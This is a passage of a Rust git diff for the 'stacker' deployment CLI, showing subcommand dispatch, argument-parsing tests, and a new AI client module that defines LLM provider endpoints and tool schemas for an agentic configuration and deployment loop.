=> Box::new( + stacker::console::commands::cli::secrets::SecretsPushCommand::new( + project, + service, + force, + json, + deployment, + environment, + ), + ), + SecretsCommands::Delete { + key, + file, + scope, + project, + service, + server_id, + } => { + if scope.is_some() || project.is_some() || service.is_some() || server_id.is_some() + { + let scope = inferred_remote_secret_scope(scope, &service, server_id) + .unwrap_or(RemoteSecretScope::Service); + Box::new( + stacker::console::commands::cli::secrets::SecretsDeleteCommand::new_remote( + key, scope, project, service, server_id, + ), + ) + } else { + Box::new( + stacker::console::commands::cli::secrets::SecretsDeleteCommand::new( + key, file, + ), + ) + } + } + SecretsCommands::Validate { file } => Box::new( + stacker::console::commands::cli::secrets::SecretsValidateCommand::new(file), + ), + }, + StackerCommands::Ci { command: ci_cmd } => match ci_cmd { + CiCommands::Export { platform, file } => Box::new( + stacker::console::commands::cli::ci::CiExportCommand::new(platform, file), + ), + CiCommands::Validate { platform } => Box::new( + stacker::console::commands::cli::ci::CiValidateCommand::new(platform), + ), + }, + StackerCommands::Pipe { command: pipe_cmd } => { + use stacker::console::commands::cli::pipe; + match pipe_cmd { + PipeCommands::Scan { + legacy_selector, + app, + containers, + container, + protocols, + capture_samples, + json, + deployment, + } => { + let request = if let Some(app) = app { + pipe::PipeScanRequest::App { app, container } + } else if let Some(filter) = containers { + let filter = if filter == "*" { None } else { Some(filter) }; + pipe::PipeScanRequest::Containers { filter } + } else { + pipe::PipeScanRequest::Legacy { + selector: legacy_selector, + } + }; + Box::new(pipe::PipeScanCommand::new( + request, + protocols, + capture_samples, + json, + deployment, + )) + } + PipeCommands::Create { + source, + target, + manual, + ai, + no_ai, + ml, + json, + deployment, + } => Box::new(pipe::PipeCreateCommand::new( + source, target, manual, ai, no_ai, ml, json, deployment, + )), + PipeCommands::List { json, deployment } => { + Box::new(pipe::PipeListCommand::new(json, deployment)) + } + PipeCommands::Activate { + pipe_id, + trigger, + poll_interval, + json, + deployment, + } => Box::new(pipe::PipeActivateCommand::new( + pipe_id, + trigger, + poll_interval, + json, + deployment, + )), + PipeCommands::Deactivate { + pipe_id, + json, + deployment, + } => Box::new(pipe::PipeDeactivateCommand::new(pipe_id, json, deployment)), + PipeCommands::Trigger { + pipe_id, + data, + json, + deployment, + } => Box::new(pipe::PipeTriggerCommand::new( + pipe_id, data, json, deployment, + )), + PipeCommands::History { + instance_id, + limit, + json, + deployment, + } => Box::new(pipe::PipeHistoryCommand::new( + instance_id, + limit, + json, + deployment, + )), + PipeCommands::Replay { + execution_id, + json, + deployment, + } => Box::new(pipe::PipeReplayCommand::new(execution_id, json, deployment)), + PipeCommands::Deploy { + instance_id, + deployment, + json, + } => Box::new(pipe::PipeDeployCommand::new(instance_id, deployment, json)), + } + } + StackerCommands::Agent { command: agent_cmd } => { + use stacker::console::commands::cli::agent; + match agent_cmd { + AgentCommands::Health { + app, + system, + json, + deployment, + } => Box::new(agent::AgentHealthCommand::new( + app, json, deployment, system, + )), + AgentCommands::Logs { + app, + limit, + json, + deployment, + } => Box::new(agent::AgentLogsCommand::new( + app, + Some(limit), + json, + deployment, + )), + AgentCommands::Restart { + app, + force, + json, + deployment, + } => Box::new(agent::AgentRestartCommand::new( + app, force, json, deployment, + )), + AgentCommands::DeployApp { + app, + image, + force, + runtime, + json, + deployment, + environment, + plan, + apply_plan, + } => Box::new( + agent::AgentDeployAppCommand::new( + app, + image, + force, + runtime, + json, + deployment, + environment, + ) + .with_plan(plan) + .with_apply_plan(apply_plan), + ), + AgentCommands::RemoveApp { + app, + volumes, + remove_image, + force, + json, + deployment, + } => Box::new(agent::AgentRemoveAppCommand::new( + app, + volumes, + remove_image, + force, + json, + deployment, + )), + AgentCommands::ConfigureFirewall { + action, + list, + app, + public_ports, + private_ports, + persist, + force, + json, + deployment, + } => { + let effective_action = if list { "list".to_string() } else { action }; + Box::new(agent::AgentConfigureFirewallCommand::new( + effective_action, + app, + public_ports, + private_ports, + persist, + force, + json, + deployment, + )) + } + AgentCommands::ConfigureProxy { + app, + domain, + port, + ssl, + no_ssl, + action, + force, + json, + deployment, + } => Box::new(agent::AgentConfigureProxyCommand::new( + app, domain, port, ssl, no_ssl, action, force, json, deployment, + )), + AgentCommands::List { command: list_cmd } => match list_cmd { + AgentListCommands::Apps { json, deployment } => { + Box::new(agent::AgentListAppsCommand::new(json, deployment)) + } + AgentListCommands::Containers { json, deployment } => { + Box::new(agent::AgentListContainersCommand::new(json, deployment)) + } + }, + AgentCommands::Status { json, deployment } => { + Box::new(agent::AgentStatusCommand::new(json, deployment)) + } + AgentCommands::History { json, deployment } => { + Box::new(agent::AgentHistoryCommand::new(json, deployment)) + } + AgentCommands::Exec { + command_type, + params, + timeout, + json, + deployment, + } => Box::new(agent::AgentExecCommand::new( + command_type, + params, + timeout, + json, + deployment, + )), + AgentCommands::Install { + file, + persist_config, + json, + } => Box::new(agent::AgentInstallCommand::new(file, persist_config, json)), + } + } + StackerCommands::Cloud { command } => match command { + CloudCommands::Firewall { command } => match command { + CloudFirewallCommands::Add { + server_id, + public_ports, + private_ports, + dry_run, + json, + } => Box::new( + stacker::console::commands::cli::cloud_firewall::CloudFirewallCommand::new( + stacker::forms::CloudFirewallAction::Add, + server_id, + public_ports, + private_ports, + dry_run, + json, + ), + ), + CloudFirewallCommands::Remove { + server_id, + public_ports, + private_ports, + dry_run, + json, + } => Box::new( + stacker::console::commands::cli::cloud_firewall::CloudFirewallCommand::new( + stacker::forms::CloudFirewallAction::Remove, + server_id, + public_ports, + private_ports, + dry_run, + json, + ), + ), + CloudFirewallCommands::List { server_id, json } => Box::new( + stacker::console::commands::cli::cloud_firewall::CloudFirewallCommand::new( + stacker::forms::CloudFirewallAction::List, + server_id, + vec![], + vec![], + false, + json, + ), + ), + }, + }, + StackerCommands::Submit { + file, + version, + description, + category, + plan_type, + price, + } => Box::new(stacker::console::commands::cli::submit::SubmitCommand::new( + file, + version, + description, + category, + plan_type, + price, + )), + StackerCommands::Marketplace { command: mkt_cmd } => match mkt_cmd { + MarketplaceCommands::Status { name, json } => Box::new( + stacker::console::commands::cli::marketplace::MarketplaceStatusCommand::new( + name, json, + ), + ), + MarketplaceCommands::Logs { name, json } => Box::new( + stacker::console::commands::cli::marketplace::MarketplaceLogsCommand::new( + name, json, + ), + ), + MarketplaceCommands::Submit { + file, + version, + description, + category, + plan_type, + price, + } => Box::new(stacker::console::commands::cli::submit::SubmitCommand::new( + file, + version, + description, + category, + plan_type, + price, + )), + }, + // Completion is handled in main() before this function is called. + StackerCommands::Completion { .. } => unreachable!(), + // Target is handled in main() before this function is called. + StackerCommands::Target { .. } => unreachable!(), + // Env is handled in main() before this function is called. + StackerCommands::Env { .. } => unreachable!(), + }; + + Ok(cmd) +} + +#[cfg(test)] +mod tests { + use super::*; + + fn render_command_help(command: &mut clap::Command) -> String { + let mut buffer = Vec::new(); + command + .write_long_help(&mut buffer) + .expect("help rendering should succeed"); + String::from_utf8(buffer).expect("help output should be valid UTF-8") + } + + #[test] + fn test_deploy_parses_environment_alias() { + let cli = Cli::try_parse_from([ + "stacker", + "deploy", + "--target", + "cloud", + "--env", + "production", + ]) + .unwrap(); + + match cli.command.unwrap() { + StackerCommands::Deploy { + target, + environment, + .. + } => { + assert_eq!(target.as_deref(), Some("cloud")); + assert_eq!(environment.as_deref(), Some("production")); + } + _ => panic!("expected deploy command"), + } + } + + #[test] + fn test_deploy_parses_environment_long_alias() { + let cli = Cli::try_parse_from([ + "stacker", + "deploy", + "--target", + "cloud", + "--environment", + "staging", + ]) + .unwrap(); + + match cli.command.unwrap() { + StackerCommands::Deploy { environment, .. } => { + assert_eq!(environment.as_deref(), Some("staging")); + } + _ => panic!("expected deploy command"), + } + } + + #[test] + fn test_whoami_parses() { + let cli = Cli::try_parse_from(["stacker", "whoami"]).unwrap(); + + match cli.command.unwrap() { + StackerCommands::Whoami {} => {} + _ => panic!("expected whoami command"), + } + } + + #[test] + fn test_ai_ask_parses_scenario_flags() { + let cli = Cli::try_parse_from([ + "stacker", + "ai", + "ask", + "continue", + "--scenario", + "website-deploy", + "--step", + "cloud-deploy", + ]) + .unwrap(); + + match cli.command.unwrap() { + StackerCommands::Ai(ai_args) => { + assert_eq!(ai_args.scenario.as_deref(), Some("website-deploy")); + assert_eq!(ai_args.step.as_deref(), Some("cloud-deploy")); + } + _ => panic!("expected ai command"), + } + } + + #[test] + fn test_ai_chat_parses_scenario_flags() { + let cli = Cli::try_parse_from([ + "stacker", + "ai", + "--scenario", + "website-deploy", + "--step", + "init-validate", + ]) + .unwrap(); + + match cli.command.unwrap() { + StackerCommands::Ai(ai_args) => { + assert_eq!(ai_args.scenario.as_deref(), Some("website-deploy")); + assert_eq!(ai_args.step.as_deref(), Some("init-validate")); + } + _ => panic!("expected ai command"), + } + } + + #[test] + fn test_pipe_scan_parses_without_selector() { + let cli = Cli::try_parse_from(["stacker", "pipe", "scan"]).unwrap(); + match cli.command.unwrap() { + StackerCommands::Pipe { + command: + PipeCommands::Scan { + legacy_selector, + app, + containers, + container, + .. + }, + } => { + assert!(legacy_selector.is_none()); + assert!(app.is_none()); + assert!(containers.is_none()); + assert!(container.is_none()); + } + _ => panic!("expected pipe scan command"), + } + } + + #[test] + fn test_pipe_scan_parses_containers_flag() { + let cli = + Cli::try_parse_from(["stacker", "pipe", "scan", "--containers", "upload"]).unwrap(); + match cli.command.unwrap() { + StackerCommands::Pipe { + command: + PipeCommands::Scan { + containers, + legacy_selector, + .. + }, + } => { + assert_eq!(containers.as_deref(), Some("upload")); + assert!(legacy_selector.is_none()); + } + _ => panic!("expected pipe scan command"), + } + } + + #[test] + fn test_pipe_scan_parses_app_flag() { + let cli = Cli::try_parse_from([ + "stacker", + "pipe", + "scan", + "--app", + "website", + "--container", + "website-web-1", + ]) + .unwrap(); + match cli.command.unwrap() { + StackerCommands::Pipe { + command: PipeCommands::Scan { app, container, .. }, + } => { + assert_eq!(app.as_deref(), Some("website")); + assert_eq!(container.as_deref(), Some("website-web-1")); + } + _ => panic!("expected pipe scan command"), + } + } + + #[test] + fn test_pipe_scan_parses_legacy_selector() { + let cli = Cli::try_parse_from(["stacker", "pipe", "scan", "website"]).unwrap(); + match cli.command.unwrap() { + StackerCommands::Pipe { + command: + PipeCommands::Scan { + legacy_selector, + app, + containers, + .. + }, + } => { + assert_eq!(legacy_selector.as_deref(), Some("website")); + assert!(app.is_none()); + assert!(containers.is_none()); + } + _ => panic!("expected pipe scan command"), + } + } + + #[test] + fn test_pipe_scan_parses_legacy_keyword_app() { + let cli = Cli::try_parse_from(["stacker", "pipe", "scan", "app"]).unwrap(); + match cli.command.unwrap() { + StackerCommands::Pipe { + command: + PipeCommands::Scan { + legacy_selector, + app, + containers, + .. + }, + } => { + assert_eq!(legacy_selector.as_deref(), Some("app")); + assert!(app.is_none()); + assert!(containers.is_none()); + } + _ => panic!("expected pipe scan command"), + } + } + + #[test] + fn test_pipe_scan_parses_legacy_keyword_containers() { + let cli = Cli::try_parse_from(["stacker", "pipe", "scan", "containers"]).unwrap(); + match cli.command.unwrap() { + StackerCommands::Pipe { + command: + PipeCommands::Scan { + legacy_selector, + app, + containers, + .. + }, + } => { + assert_eq!(legacy_selector.as_deref(), Some("containers")); + assert!(app.is_none()); + assert!(containers.is_none()); + } + _ => panic!("expected pipe scan command"), + } + } + + #[test] + fn test_secrets_set_still_parses_local_key_value() { + let parsed = Cli::try_parse_from(["stacker", "secrets", "set", "DB_PASSWORD=supersecret"]); + assert!( + parsed.is_ok(), + "local secrets set syntax must remain supported" + ); + } + + #[test] + fn test_secrets_set_parses_remote_service_flags() { + let parsed = Cli::try_parse_from([ + "stacker", + "secrets", + "set", + "S3_SECRET_KEY", + "--project", + "blog", + "--service", + "uploader", + "--body", + "supersecret", + ]); + + assert!( + parsed.is_ok(), + "remote service secret syntax should parse successfully" + ); + } + + #[test] + fn test_secrets_set_still_parses_explicit_remote_service_scope() { + let parsed = Cli::try_parse_from([ + "stacker", + "secrets", + "set", + "S3_SECRET_KEY", + "--scope", + "service", + "--service", + "uploader", + "--body", + "supersecret", + ]); + + assert!( + parsed.is_ok(), + "explicit remote service scope should remain supported" + ); + } + + #[test] + fn test_secrets_set_parses_remote_server_flags() { + let parsed = Cli::try_parse_from([ + "stacker", + "secrets", + "set", + "NPM_TOKEN", + "--scope", + "server", + "--server-id", + "42", + "--body-file", + "/tmp/npm-token.txt", + ]); + + assert!( + parsed.is_ok(), + "remote server secret syntax should parse successfully" + ); + } + + #[test] + fn test_secrets_list_parses_remote_scope_and_json() { + let parsed = Cli::try_parse_from([ + "stacker", + "secrets", + "list", + "--project", + "blog", + "--service", + "uploader", + "--json", + ]); + + assert!( + parsed.is_ok(), + "remote secrets list syntax should parse successfully" + ); + } + + #[test] + fn test_secrets_get_parses_service_without_scope() { + let parsed = Cli::try_parse_from([ + "stacker", + "secrets", + "get", + "S3_BUCKET", + "--service", + "upload", + "--json", + ]); + + assert!( + parsed.is_ok(), + "remote service get should infer service scope from --service" + ); + } + + #[test] + fn test_secrets_delete_parses_service_without_scope() { + let parsed = Cli::try_parse_from([ + "stacker", + "secrets", + "delete", + "S3_BUCKET", + "--service", + "upload", + ]); + + assert!( + parsed.is_ok(), + "remote service delete should infer service scope from --service" + ); + } + + #[test] + fn test_secrets_apps_parses_project_lookup_flags() { + let parsed = Cli::try_parse_from(["stacker", "secrets", "apps", "--json"]); + + assert!( + parsed.is_ok(), + "remote secrets apps syntax should parse successfully" + ); + } + + #[test] + fn test_secrets_apps_parses_register_and_sync() { + let register = Cli::try_parse_from([ + "stacker", + "secrets", + "apps", + "register", + "upload", + "--project", + "blog", + "--json", + ]); + let sync = Cli::try_parse_from(["stacker", "secrets", "apps", "sync", "--json"]); + + assert!( + register.is_ok(), + "secrets apps register should parse successfully" + ); + assert!(sync.is_ok(), "secrets apps sync should parse successfully"); + } + + #[test] + fn test_secrets_help_mentions_remote_modes() { + let mut command = Cli::command(); + let secrets = command + .find_subcommand_mut("secrets") + .expect("secrets subcommand should exist"); + let help = render_command_help(secrets); + + assert!(help.contains("Vault-backed secrets")); + assert!(help.contains("--scope service")); + assert!(help.contains("--scope server")); + assert!(help.contains("metadata-only")); + assert!(help.contains("List valid remote deployable service/app target codes")); + } + + #[test] + fn test_secrets_help_describes_service_scope_as_deployable_target() { + let mut command = Cli::command(); + let secrets = command + .find_subcommand_mut("secrets") + .expect("secrets subcommand should exist"); + let help = render_command_help(secrets); + + assert!(help.contains("deployable service/app target")); + assert!(help.contains("stacker secrets apps")); + } + + #[test] + fn test_secrets_get_help_mentions_metadata_only_remote_reads() { + let mut command = Cli::command(); + let secrets = command + .find_subcommand_mut("secrets") + .expect("secrets subcommand should exist"); + let get = secrets + .find_subcommand_mut("get") + .expect("get subcommand should exist"); + let help = render_command_help(get); + + assert!(help.contains("metadata-only")); + assert!(help.contains("--scope ")); + assert!(help.contains("--json")); + } +} diff --git a/stacker/stacker/src/cli/ai_client.rs b/stacker/stacker/src/cli/ai_client.rs new file mode 100644 index 0000000..206f0e7 --- /dev/null +++ b/stacker/stacker/src/cli/ai_client.rs @@ -0,0 +1,1732 @@ +use crate::cli::config_parser::{AiConfig, AiProviderType, AppType}; +use crate::cli::error::CliError; +use std::io::{BufRead, BufReader, Write}; + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// Constants +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// Default OpenAI-compatible endpoint. +pub const OPENAI_API_URL: &str = "https://api.openai.com/v1/chat/completions"; + +/// Default Anthropic endpoint. +pub const ANTHROPIC_API_URL: &str = "https://api.anthropic.com/v1/messages"; + +/// Default Ollama endpoint. +pub const OLLAMA_API_URL: &str = "http://localhost:11434/api/chat"; + +/// Ollama tags endpoint (for listing available models). +pub const OLLAMA_TAGS_URL: &str = "http://localhost:11434/api/tags"; + +/// Default model per provider when none is specified in config. +pub fn default_model(provider: AiProviderType) -> &'static str { + match provider { + AiProviderType::Openai => "gpt-4o", + AiProviderType::Anthropic => "claude-sonnet-4-20250514", + AiProviderType::Ollama => "llama3", + AiProviderType::Custom => "default", + } +} + +/// Preferred Ollama models for stacker.yml generation, in priority order. +/// The first available model from this list will be used. +const OLLAMA_PREFERRED_MODELS: &[&str] = &[ + "llama3", + "llama3.1", + "llama3.2", + "llama3:latest", + "codellama", + "mistral", + "mixtral", + "deepseek-r1", + "deepseek-coder", + "qwen2.5-coder", + "qwen2.5", + "phi3", + "gemma2", + "gpt-oss", +]; + +/// Default request timeout in seconds. +const DEFAULT_AI_TIMEOUT_SECS: u64 = 300; + +/// Resolve the AI request timeout in seconds. +/// +/// Priority: `STACKER_AI_TIMEOUT` env var > `AiConfig.timeout` value > 300s default. +/// A value of 0 means no timeout (unlimited). +pub fn resolve_timeout(config_timeout: u64) -> u64 { + if let Ok(val) = std::env::var("STACKER_AI_TIMEOUT") { + if let Ok(secs) = val.parse::() { + return secs; + } + } + if config_timeout > 0 { + config_timeout + } else { + DEFAULT_AI_TIMEOUT_SECS + } +} + +/// Normalise a user-supplied Ollama endpoint. +/// +/// If the URL has no `/api/` path component (e.g. `http://host:11434`) +/// the standard chat path `/api/chat` is appended automatically. +pub fn normalize_ollama_endpoint(endpoint: &str) -> String { + if endpoint.contains("/api/") { + endpoint.to_string() + } else { + format!("{}/api/chat", endpoint.trim_end_matches('/')) + } +} + +/// Query the local Ollama instance for available models. +/// Returns a list of model names, or an empty vec if Ollama is unreachable. +pub fn list_ollama_models(base_url: Option<&str>) -> Vec { + let tags_url = base_url + .map(|u| { + // Normalise base URLs first, then convert chat path → tags path + let normalised = normalize_ollama_endpoint(u); + normalised + .replace("/api/chat", "/api/tags") + .replace("/api/generate", "/api/tags") + }) + .unwrap_or_else(|| OLLAMA_TAGS_URL.to_string()); + + let client = match reqwest::blocking::Client::builder() + .timeout(std::time::Duration::from_secs(5)) + .build() + { + Ok(c) => c, + Err(_) => return Vec::new(), + }; + + let response = match client.get(&tags_url).send() { + Ok(r) if r.status().is_success() => r, + _ => return Vec::new(), + }; + + let json: serde_json::Value = match response.json() { + Ok(j) => j, + Err(_) => return Vec::new(), + }; + + json["models"] + .as_array() + .map(|models| { + models + .iter() + .filter_map(|m| m["name"].as_str().map(|s| s.to_string())) + .collect() + }) + .unwrap_or_default() +} + +/// Pick the best available Ollama model for config generation. +/// Checks the preferred list first, then falls back to the first available model. +/// Returns None if no models are available. +pub fn pick_ollama_model(base_url: Option<&str>) -> Option { + let available = list_ollama_models(base_url); + if available.is_empty() { + return None; + } + + // Check preferred models in priority order + for preferred in OLLAMA_PREFERRED_MODELS { + for avail in &available { + // Match base name (e.g. "deepseek-r1" matches "deepseek-r1:latest") + let avail_base = avail.split(':').next().unwrap_or(avail); + if avail_base == *preferred || avail == preferred { + return Some(avail.clone()); + } + } + } + + // No preferred model found — use the first non-embedding model + available + .into_iter() + .find(|m| !m.contains("embed")) + .or_else(|| Some("llama3".to_string())) +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// AiProvider trait — abstraction over LLM backends (DIP) +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// Tool calling types +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// A message in a multi-turn chat conversation (used by the agentic loop). +#[derive(Debug, Clone)] +pub struct ChatMessage { + pub role: String, + pub content: String, + /// Tool calls requested by the assistant. + pub tool_calls: Option>, + /// For role="tool": the id of the call this result belongs to. + pub tool_call_id: Option, +} + +impl ChatMessage { + pub fn system(content: impl Into) -> Self { + Self { + role: "system".to_string(), + content: content.into(), + tool_calls: None, + tool_call_id: None, + } + } + pub fn user(content: impl Into) -> Self { + Self { + role: "user".to_string(), + content: content.into(), + tool_calls: None, + tool_call_id: None, + } + } + pub fn tool_result(id: Option, content: impl Into) -> Self { + Self { + role: "tool".to_string(), + content: content.into(), + tool_calls: None, + tool_call_id: id, + } + } +} + +/// Definition of a tool the AI may call. +#[derive(Debug, Clone)] +pub struct ToolDef { + pub name: String, + pub description: String, + /// JSON Schema for the parameters object. + pub parameters: serde_json::Value, +} + +/// A tool call requested by the AI. +#[derive(Debug, Clone)] +pub struct ToolCall { + /// Provider-assigned call id (used when replying with results). + pub id: Option, + pub name: String, + pub arguments: serde_json::Value, +} + +/// Response from `complete_with_tools`: either plain text or tool invocations. +#[derive(Debug)] +pub enum AiResponse { + Text(String), + /// (assistant narration, tool calls) + ToolCalls(String, Vec), +} + +/// Built-in tool definitions exposed to the AI in write mode. +pub fn write_file_tool() -> ToolDef { + ToolDef { + name: "write_file".to_string(), + description: "Write content to a file on disk. Creates parent directories as needed." + .to_string(), + parameters: serde_json::json!({ + "type": "object", + "properties": { + "path": { "type": "string", "description": "Relative path to the file" }, + "content": { "type": "string", "description": "Full file content to write" } + }, + "required": ["path", "content"] + }), + } +} + +pub fn read_file_tool() -> ToolDef { + ToolDef { + name: "read_file".to_string(), + description: "Read the current content of a file on disk.".to_string(), + parameters: serde_json::json!({ + "type": "object", + "properties": { + "path": { "type": "string", "description": "Relative path to the file" } + }, + "required": ["path"] + }), + } +} + +pub fn list_directory_tool() -> ToolDef { + ToolDef { + name: "list_directory".to_string(), + description: "List files and folders in a directory within the project. \ + Use '.' for the project root." + .to_string(), + parameters: serde_json::json!({ + "type": "object", + "properties": { + "path": { + "type": "string", + "description": "Relative directory path (e.g. '.', '.stacker', 'src')" + } + }, + "required": ["path"] + }), + } +} + +pub fn config_validate_tool() -> ToolDef { + ToolDef { + name: "config_validate".to_string(), + description: "Validate the stacker.yml configuration file and report any errors." + .to_string(), + parameters: serde_json::json!({ + "type": "object", + "properties": {}, + "required": [] + }), + } +} + +pub fn config_show_tool() -> ToolDef { + ToolDef { + name: "config_show".to_string(), + description: "Show the fully-resolved stacker.yml configuration (with env vars expanded)." + .to_string(), + parameters: serde_json::json!({ + "type": "object", + "properties": {}, + "required": [] + }), + } +} + +pub fn stacker_status_tool() -> ToolDef { + ToolDef { + name: "stacker_status".to_string(), + description: "Show the current deployment status of running containers.".to_string(), + parameters: serde_json::json!({ + "type": "object", + "properties": {}, + "required": [] + }), + } +} + +pub fn stacker_logs_tool() -> ToolDef { + ToolDef { + name: "stacker_logs".to_string(), + description: + "Retrieve container logs. Optionally filter by service name and limit line count." + .to_string(), + parameters: serde_json::json!({ + "type": "object", + "properties": { + "service": { + "type": "string", + "description": "Service name to filter logs (omit for all services)" + }, + "tail": { + "type": "integer", + "description": "Number of recent lines to show (default 50)" + } + }, + "required": [] + }), + } +} + +pub fn stacker_deploy_tool() -> ToolDef { + ToolDef { + name: "stacker_deploy".to_string(), + description: "Build and deploy the stack. Use dry_run=true to preview what would happen \ + without making changes." + .to_string(), + parameters: serde_json::json!({ + "type": "object", + "properties": { + "target": { + "type": "string", + "enum": ["local", "cloud", "server"], + "description": "Deployment target (omit to use stacker.yml default)" + }, + "dry_run": { + "type": "boolean", + "description": "Preview deployment plan without executing (default: true for safety)" + }, + "force_rebuild": { + "type": "boolean", + "description": "Force rebuild of all container images" + } + }, + "required": [] + }), + } +} + +pub fn proxy_add_tool() -> ToolDef { + ToolDef { + name: "proxy_add".to_string(), + description: "Add a reverse-proxy entry mapping a domain to an upstream service." + .to_string(), + parameters: serde_json::json!({ + "type": "object", + "properties": { + "domain": { + "type": "string", + "description": "Domain name (e.g. 'example.com')" + }, + "upstream": { + "type": "string", + "description": "Upstream URL (e.g. 'http://app:3000')" + }, + "ssl": { + "type": "string", + "enum": ["auto", "manual", "off"], + "description": "SSL mode" + } + }, + "required": ["domain"] + }), + } +} + +pub fn proxy_detect_tool() -> ToolDef { + ToolDef { + name: "proxy_detect".to_string(), + description: "Detect running reverse-proxy containers (nginx, Traefik, etc.) on the host." + .to_string(), + parameters: serde_json::json!({ + "type": "object", + "properties": {}, + "required": [] + }), + } +} + +// ── Agent tools ────────────────────────────────────── + +pub fn agent_health_tool() -> ToolDef { + ToolDef { + name: "agent_health".to_string(), + description: "Check container health on the remote deployment via the Status Panel agent. \ + Returns container states, resource usage, and health metrics." + .to_string(), + parameters: serde_json::json!({ + "type": "object", + "properties": { + "app": { + "type": "string", + "description": "App code to check (e.g. 'postgres', 'nginx'). Omit for all containers." + }, + "deployment": { + "type": "string", + "description": "Deployment hash (auto-detected from local config if omitted)" + } + }, + "required": [] + }), + } +} + +pub fn agent_status_tool() -> ToolDef { + ToolDef { + name: "agent_status".to_string(), + description: "Get the Status Panel agent status, including agent version, \ + last heartbeat, container states, and recent command history." + .to_string(), + parameters: serde_json::json!({ + "type": "object", + "properties": { + "deployment": { + "type": "string", + "description": "Deployment hash (auto-detected from local config if omitted)" + } + }, + "required": [] + }), + } +} + +pub fn agent_logs_tool() -> ToolDef { + ToolDef { + name: "agent_logs".to_string(), + description: "Fetch container logs from the remote deployment via the Status Panel agent. \ + Logs are automatically redacted for safety." + .to_string(), + parameters: serde_json::json!({ + "type": "object", + "properties": { + "app": { + "type": "string", + "description": "App code to fetch logs for (e.g. 'postgres', 'nginx')" + }, + "limit": { + "type": "number", + "description": "Maximum number of log lines (default: 100)" + }, + "deployment": { + "type": "string", + "description": "Deployment hash (auto-detected if omitted)" + } + }, + "required": ["app"] + }), + } +} + +pub fn add_service_tool() -> ToolDef { + ToolDef { + name: "add_service".to_string(), + description: "Add a service from the built-in template catalog to stacker.yml. \ + Supports common services: postgres, mysql, redis, mongodb, rabbitmq, \ + elasticsearch, wordpress, traefik, nginx, qdrant, minio, portainer, etc. \ + Aliases work too: wp→wordpress, pg→postgres, es→elasticsearch." + .to_string(), + parameters: serde_json::json!({ + "type": "object", + "properties": { + "service_name": { + "type": "string", + "description": "Service name or alias (e.g. 'postgres', 'wp', 'redis')" + }, + "custom_ports": { + "type": "array", + "items": { "type": "string" }, + "description": "Override default port mappings (e.g. ['5433:5432'])" + }, + "custom_env": { + "type": "object", + "description": "Extra environment variables to merge (e.g. {'POSTGRES_DB': 'mydb'})" + } + }, + "required": ["service_name"] + }), + } +} + +/// Returns all tools available in write mode, ordered from least to most impactful. +pub fn all_write_mode_tools() -> Vec { + vec![ + // Read-only + read_file_tool(), + list_directory_tool(), + config_validate_tool(), + config_show_tool(), + stacker_status_tool(), + stacker_logs_tool(), + proxy_detect_tool(), + // Agent read-only + agent_health_tool(), + agent_status_tool(), + agent_logs_tool(), + // Write / action + write_file_tool(), + add_service_tool(), + stacker_deploy_tool(), + proxy_add_tool(), + ] +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// AiProvider trait +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// Abstraction for LLM completion providers. +/// +/// Production: `OpenAiProvider`, `AnthropicProvider`, `OllamaProvider`. +/// Tests: `MockAiProvider` returns canned responses. +pub trait AiProvider: Send + Sync { + /// Provider name for error reporting. + fn name(&self) -> &str; + + /// Send a completion request and return the response text. + fn complete(&self, prompt: &str, context: &str) -> Result; + + /// Whether this provider supports tool calling / function calling. + fn supports_tools(&self) -> bool { + false + } + + /// Send a multi-turn chat request with tool definitions. + /// The default implementation returns an error; override for providers that + /// support function / tool calling. + fn complete_with_tools( + &self, + _messages: &[ChatMessage], + _tools: &[ToolDef], + ) -> Result { + Err(CliError::AiProviderError { + provider: self.name().to_string(), + message: "Tool calling is not supported by this provider. \ + Use openai or ollama (model with tool support required)." + .to_string(), + }) + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// OpenAiProvider — OpenAI / OpenAI-compatible APIs +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// Calls the OpenAI Chat Completions API (or any compatible endpoint). +/// Also works with Azure OpenAI, Together AI, Groq, etc. +pub struct OpenAiProvider { + pub endpoint: String, + pub api_key: String, + pub model: String, + pub timeout_secs: u64, +} + +impl OpenAiProvider { + pub fn from_config(config: &AiConfig) -> Result { + let api_key = config.api_key.clone().ok_or(CliError::AiProviderError { + provider: "openai".to_string(), + message: "api_key is required for OpenAI provider".to_string(), + })?; + + Ok(Self { + endpoint: config + .endpoint + .clone() + .unwrap_or_else(|| OPENAI_API_URL.to_string()), + api_key, + model: config + .model + .clone() + .unwrap_or_else(|| default_model(AiProviderType::Openai).to_string()), + timeout_secs: resolve_timeout(config.timeout), + }) + } +} + +impl AiProvider for OpenAiProvider { + fn name(&self) -> &str { + "openai" + } + + fn supports_tools(&self) -> bool { + true + } + + fn complete_with_tools( + &self, + messages: &[ChatMessage], + tools: &[ToolDef], + ) -> Result { + let messages_json: Vec = messages + .iter() + .map(|m| { + let mut obj = serde_json::json!({ "role": m.role, "content": m.content }); + if let Some(tcs) = &m.tool_calls { + obj["tool_calls"] = serde_json::json!(tcs + .iter() + .map(|tc| { + serde_json::json!({ + "id": tc.id.as_deref().unwrap_or("call_0"), + "type": "function", + "function": { + "name": tc.name, + "arguments": tc.arguments.to_string() + } + }) + }) + .collect::>()); + } + if let Some(id) = &m.tool_call_id { + obj["tool_call_id"] = serde_json::json!(id); + } + obj + }) + .collect(); + + let tools_json: Vec = tools + .iter() + .map(|t| { + serde_json::json!({ + "type": "function", + "function": { + "name": t.name, + "description": t.description, + "parameters": t.parameters + } + }) + }) + .collect(); + + let body = serde_json::json!({ + "model": self.model, + "messages": messages_json, + "tools": 